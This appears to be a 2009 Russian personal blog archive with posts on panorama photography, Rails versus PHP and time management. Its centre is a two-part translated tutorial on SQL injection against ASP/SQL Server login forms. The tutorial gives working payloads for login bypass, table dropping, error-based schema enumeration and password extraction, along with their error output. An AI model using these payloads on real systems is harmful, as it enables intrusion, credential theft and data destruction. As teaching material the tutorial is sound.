27 сент. 2009 г.

Панорамная фотография

Всем очень нравится красивые виды. Но фотоаппарат, по крайней мере мой, не позволяет охватить большой вид. Выходов несколько - либо покупать широкоугольный объектив, что подразумевает совсем другую цену фотоаппарата, либо склеивать фотографии. Техника склеивания не очень сложно, но есть пара трудностей. Итак, что получилось у меня:




По мне так второй вид больше нравится, но делать его было легче.

Советы при фотографировании:
1. Избегайте динамических объектов - деревья, люди, листва и т.д. В процессе склейки будет очень тяжело совместить такие фотографии. Это очень важный фактор.
2. Снимайте со штатива. Будет обидно если уровень фотографий будет сильно отличаться, потому что все что не общее на фото - отрезается.
3. Практикуйтесь, делайте больше снимков одного и того же вида. Это позволит точно найти снимки для склейки.
4. Очень часто бывает что снимки отличаются по яркости, если они сделаны в автоматическом режиме. Это можно исправить в фотошопе, но это ведет к ухудшению качества.

В следующий раз я опубликую саму технику склеивания изображений

19 сент. 2009 г.

Продвинутая SQL-инъекция в клиент-серверных приложениях. Часть 2

Продолжаю публикацию собственно перевода. Часть вторая, очень интересная. Хотел бы поделиться мыслями: до прочтения этой статьи, я думал, что знаю достаточно много об sql-инъекции, но прочитав ее оказалось я знаю совсем мало :).

Получение информации используя сообщения об ошибках

Эта техника была впервые открыта Дэвидом Литчфилдом(David Litchfield) и автор до сих пор тестирует ее. Дэвид позже написал документ описывающий эту технику и последующие авторы упоминают его работу. В основе этой техники лежат механизмы «сообщения об ошибке»(‘error message’), позволяющая читателю полностью понять его и потенциально создавая вариации себя самого.

Для того чтобы манипулировать данными из БД, атакующему необходимо определить структуру текущей БД и таблиц. Например, наша таблица ‘users’ могла быть создана следующей командой:

Create table users (
Id int,
Username varchar(255),
Passwors varchar(255),
Privs int
);

… и следующие пользователи добавлены:

Insert into users values (‘0’,’admin’,’r00tr0x!’,0xffff)
Inserts into users values (‘0’,’guest’,’guest’,’0x0000’)
Inserts into users values (‘0’,’chris’,’password’,’0x00ff’)
Inserts into users values (‘0’,’fred’,’sesame’,’0x00ff’)

Допустим, атакующий хочет добавить самого себя в БД. Если он не будет знать структуру таблицы ‘users’, у него вряд ли это получится. Даже если ему повезет, смысл поля ‘privs’ ему будет не понятен. Атакующий может вставить 1 и создать аккаунт с самыми простыми правами, нежели он имел права администратора.

К счастью атакующего, если приложение выдаст сообщение об ошибке, то он сможет определить структуру БД и прочитать любое значение, которое может быть считано аккаунтом подключающимся к БД.

Первое, атакующий хочет определить имена таблиц к которой обращается запрос и название полей этой таблицы. Для этого, атакующий использует в запросе ключевое слово ‘having’:

Username: ‘ having 1=1 ‘—
Что создаст следующую ошибку
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

Так что атакующий знает название таблицы и название первого столбца в запросе. Он может продолжить запрос узнавая каждое следующее поле путем написания условия ‘group by’

Username: ‘ group by users.id having 1=1

Что создаст следующую ошибку

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35

Проделывая эти шаги атакующий придет к следующему:

‘ group by users.id, users.username, users.password, users,privs having 1=1—

… что не создаст никакой ошибки, и что функционально эквивалентно следующему:
Select * from users where username =’’

Атакующий теперь знает, что запрос обращается к таблице users, которая имеет поля ‘id, username, password, privs’, в таком порядке.

Для него было бы очень полезным если бы он смог определить тип каждого столбца. Он может это узнать путем конвертирования типа данных, что вызовет сообщение об ошибке, как тут

Username: ‘ union select sum(username) from users—

Преимущество такого подхода в том, что SQL сервер пытается применить условие суммы, прежде чем определит какие значения полей в двух строках эквивалентны. Попытка определить сумму текстового поля приведет к следующей ошибке:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

… которое говорит нам, что поле ‘username’ имеет тип varchar. Если, в другом случае, мы пытаемся суммировать числовые поля, мы получим сообщение об ошибке, говорящее нам, что значения полей не совпадают в двух строках:
Username: ‘ union select sum(id) from users –

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

Используя эту технику, мы можем определить тип любого столбца любой таблицы в БД.

Это позволяет атакующему создать хорошо сформированный ‘insert’ запрос, как этот:

Username: ‘; insert into users values(666,’atacker’,’foobar’,0xffff)—

Однако, потенциал этой техники не останавливается на этом. Атакующий может получит преимущество любого сообщения об ошибке которая показывает информацию об оборудовании или БД. Список всех стандартных ошибок может быть получен путем выполнения следующего:

Select * from master..sysmessage

Изучив этот список, можно получить интересные сообщения.

Одно особенно полезное сообщение связано с конверсией типов. Если вы попытаетесь конвертировать строку в целое число, то полное содержание строки будет возвращено в сообщение об ошибке. В нашем примере страницы авторизации, например, при введение в поле ‘username’ нам отобразится сообщение об ошибке, где будет указана версия SQL сервера и операционная система самого сервера, на котором она запущена:

Username: ‘ union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35

Тут происходи попытка конвертирования встроенной «@@version» константы в целочисленное значение, потому что первый столбец в таблице ‘users’ – целое значение.

Это техника позволяет прочитать любое значение в любой таблице в БД. Так как атакующему интересны поля имен пользователей и пароли, ему достаточно просто прочитать имена пользователей из таблицы ‘users’, как тут:

Username: ‘ union select min(username),1,1,1 from users where username>’a’—

Тут происходит выборка самого короткого имя пользователя, которое начинается на ‘a’ и происходи попытка конвертации в целое число:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35

Теперь атакующий знает, что запись ‘admin’ существует. Теперь он может повторять через каждую строку в таблице путем замены каждого нового пользователя, которого он получил путем подстановки в условие ‘where’:

Username: ‘ union select min(username),1,1,1 from users where username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

Как только атакующий получит имена пользователей, он может начать получать пароли:

Username: ‘ union select password,1,1,1 from users where username=’admin’—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

Более элегантная техника состоит в том чтобы все имена пользователей и пароли объединить в одну строку и попытаться их конвертировать в целое число. Это иллюстрирует другую точку подхода; Transact-SQL выражения могут быть объединены в строку без вывода их значений. Следующий скрипт объединит значения:

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

Атакующий авторизируется в системе при помощи только что написанного «имени пользователя»

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

Тут создается таблица ‘foo’, которая содержит единственную колонку ‘ret’ и вставляет нашу сформированную строку в эту колонку. Обычно, даже самый низко-привелигированный пользователь имеет возможность создать таблицу в БД.

Затем атакующий получает строку из нашей таблицы:

Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35

И затем удаляет таблицу, для того чтобы подчистить следы:
Username: '; drop table foo--

Эти примеры едва ли показывают гибкость этой техники. Излишним будет говорить, что если атакующий захочет получить большое сообщение об ошибке из БД, то это не составит ему труда.

15 сент. 2009 г.

Продвинутая SQL-инъекция в клиент-серверных приложениях. Часть 1

Попался мне очень интересный документ, в котором, как мне показалось подробно описывается SQL-инъекции. Он на английском языке, я решил его перевести и людям помочь и английский сколыхнуть. Оригинал вы сможете найти тут. Итак 1 часть.
Реферат
В этом документе обсуждаются детали техники входящей «SQL-инъекции» , как она применяется к распространненым платформам, таким как Microsoft Internet Information Server/Active Server Pages/SQL Server. Тут обсуждаются различные пути в которых применяется SQL-инъекция в приложениях и в адресах валидации данных и вопросов блокирования БД которые связаны с этим классом атак.
Данный документ предназначен для двух типов разработчиков веб-приложений, которые взаимодействуют с БД и профессионалов по безопасности в чьи обязанности входят аудит этих веб-приложений.
Введение
Структурированный Язык Запросов(‘SQL’) – текстовый язык запросов, используемый для взаимодействия реляционной базы данных. Существует много разновидностей 'SQL', большинство диалектов используемые сейчас принадлежат стандарту SQL-92, новейшему стандарту ANSI. Типичная единица выполнения ‘SQL’ – это запрос(query), которая является сбором данных, возвращающая единичный набор результатов(result set). SQL выражение может изменить структуру базы данных и манипулировать содержимым базы данных. В этом документе мы будем обсуждать транзактный SQL, диалект SQL применим для Microsoft SQL Server.
SQL инъекция происходит, когда у атакующего имеется возможность вставить серию SQL-выражений в запрос при вводе данных в приложении.
Типичный SQL запрос выглядит следующим образом:
Select id, forename, surname from authors
Это выражение вернет значение всех столбцов id, forename, surname из таблицы 'authors'. Запрос может содержать некоторое условие для более точной выборки, например:
Select id, forename, surname from authors where forename = 'john' and surname = ‘smiht’
Важной особенностью в данном запросе является то, что строчные значения 'john' и ‘smith’ определены в одинарных кавычках. Предполагая, что поля 'forename' и ‘surname’ будут содержать значения введенные пользователем, атакующий может инъектировать SQL в запрос, вводя значения такие как эти:
Forename: jo'hn
Surname: smith
Строка запроса будет выглядеть следующим образом:

Select id, forename, surname from authors where forename = 'jo’hn' and surname = ‘smiht’

Когда СУБД попытается выполнить этот запрос, то она вернет ошибку:
Server: Msg 170, level 15, State 1, Line 1
Line 1: Incorrect syntax near ‘hn’
Причина этому одиночная кавычка, которая заканчивает запрос. Далее СУБД попытается выполнить 'hn' и ей это не удается, в следствии чего образуется ошибка. Если атакующий введет следующее:
Forename: jo’; drop table authors—
Surname:
… таблица ‘authors’ будет удалена, по причинам, которые мы обсудим позднее.
Это означает, что методы убирающие одиночные кавычки или убирание их другим способом есть решение данной проблемы. Это правда, но существует несколько сложностей с этим методом как решением Первое, не все формы для ввода предназначены для ввода строк. Если наша выборка осуществляется по id, например, наш запрос может выглядеть следующим образом:
Select id, forename, surname from authors where id=1234
В этой ситуации атакующий может просто добавить SQL выражение в конец численного поля для ввода. В других диалектах SQL, используются разные ограничители; в Microsoft Jet DBMS, например, дата может быть ограничена при помощи символа «#». Второе, удаление одиночных кавычек не необходимо, простым решением на начальном этапе, мы это обсудим позднее.
Мы проиллюстрируем эти примеры в деталях используя простую страничку авторизации с доступом к БД, написанную на ASP.
Это код для странички вывода формы, в которую пользователь вводит логин и пароль:

--- код смотрите в оф. документе.

Критическая точка здесь, это строка формирования запроса:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

Если пользователь введет следующие значения:
Username: '; drop table users--
Password:

…. то таблица 'users' будет удалена, при этом доступ всем пользователям будет запрещен. Символы '--' обозначают «комментарий строки» и символ «;» - конец запроса и начало другого. Наличие «;» в поле «username» необходимо чтобы создать запрос без ошибок.
Атакующий может зарегистрироваться как обычный пользователь, зная имя пользователя, например вводя следующее:
Username: admin'—
Атакующий может войти в систему как администратор, введя следующее:
Username: ' or 1=1—
… и, странно, атакующий может войти в систему как выдуманный пользователь, введя следующее:
Username: ' union select 1, 'fictional_user', 'some_password', 1—
Причина по которой все это работает заключается в том, что система «доверяет» введенным от пользователя данным и что эти данные достоверны.

10 сент. 2009 г.

ROR или PHP?

Сегодня я присутствовал на первом в Томске OpenHackDay. На самом деле собрание было очень интересным, хотя и не в традициях самого OpenHackDay. Поговорил с ребятами с OpenTeam. Мы обсудили создание сообщества, определили первичные цели, познакомились. Но самое главное для меня было, то что они мне показали, как писать на Rubi On Rails. Я был в шоке и наверное до сих пор нахожусь в нем. Такая простота разработки приложения очень прельщает. Ориентированность на бизнес логику, т.е. со стороны пользователя. А как происходит доступ и выборка из БД... Тестирование... В общем меня очень прельстили данные плюсы и я начал задумываться не перейти ли мне на Rubi on Rails. Ну не все так гладко на самом деле, поэтому я решил изучить все плюсы и минусы и ROR и PHP. Обещаю несколько постов о том что и где лучше.

8 сент. 2009 г.

Впечатление от первого курса

Эх, давно я не писал в мой блог. Доброго времени суток. Начался сентябрь, учебный год, мой последний учебный год. Планов много, соответсвенно дел тоже. Погода стоит теплая, наверное последние деньки.
Я всерьез загорелся идеей тайм-менеджмента, прослушал на 4 раза книгу "Тайм-драйв" Глеба Арханельского. Это правда помогает. Первая глава в его книге гласит об отдыхе. На самом деле отдыхать нужно и полезно. Что я извлек из уроках об отдыхе и соблюдении-несоблюдении отдыха. Я начал отдыхать каждый час на работе, выходить на улицу, пить чай, каждый час я трачу по 5-7 мин на отдых. И вы знаете, помогает, в это время не думаешь о работе и мозг отдыхает. Возвращаясь к работе, просто стучишь по клавиатуре еле успевая за мыслями. Иногда правда приходиться просто думать, не просто так же стучать:). Меньше начал отвлекаться на сторонние ресурсы. КПД выполнения задач увеличился. На счет сна, тут признаюсь грубил. То ложусь в 1 ночи, то в 9 вечера. То просыпаюсь в 7 утра, то в 4 ночи. Не правильно. Я уже экперементировал со сном и на самом деле одно и то же время отхода ко сну очень помогает отдыхать. Сбился я из-за своей дурацкой лени и мне почему-то стало скучно одно и то же. Надо как-то разнообразить свою жизнь. Над этим сейчас работаю.
На счет планирования. Планирую. Процент выполнения в сроки поставленных задач примерно 60%. Я думаю процентов 15-20 из-за неопытности оценки времени выполнения, а другие 20% - лень. Причем лень выполнять мелкие задачи. Лентяй я:(.
Чтение. Очень понравилась фраза в книге Глеба Архангельского, которая говорила о том, что нас мозг - что-то типа мышцы и со временем, если его не использовать - атрофируется. Стало страшно:). Он рекомендует читать и целенаправлено размышлять. Где? Очень много тратим время на дорогу. Так почему бы не тратить это время с пользой. Теперь читаю книги со своего коммуникатора. Очень удобно кстати. Цель прочитывать 1 книгу за неделю, причем чередовать стили, художественная, психология, наука и т.д. Я начал с Дон Кихота. Не знаю, очень захотелось прочитать!
Из планов на будущее - записался на кружок видеосъемки, это от универа - бесплатно. Очень интересно. Каждую неделю по 10 правил пдд. Через каждые 3 дня - тему по английскому языку. В четверг иду на OPENTEAM HACK DAY - должны рассказать интересное про веб технологии. Т.е. через два месяца правила ПДД освою, наверстаю английский. И конечно, обязуюсь вести этот блог.
Я кстати переосмыливаю тематику этого блога, все-таки мне кажется, что тут больше моих мыслей и хобби и совсем мало про мою работу и мои знания. Не очень хочется про это писать, так как целый день этим занят, да и опыт не богат, хотя есть:)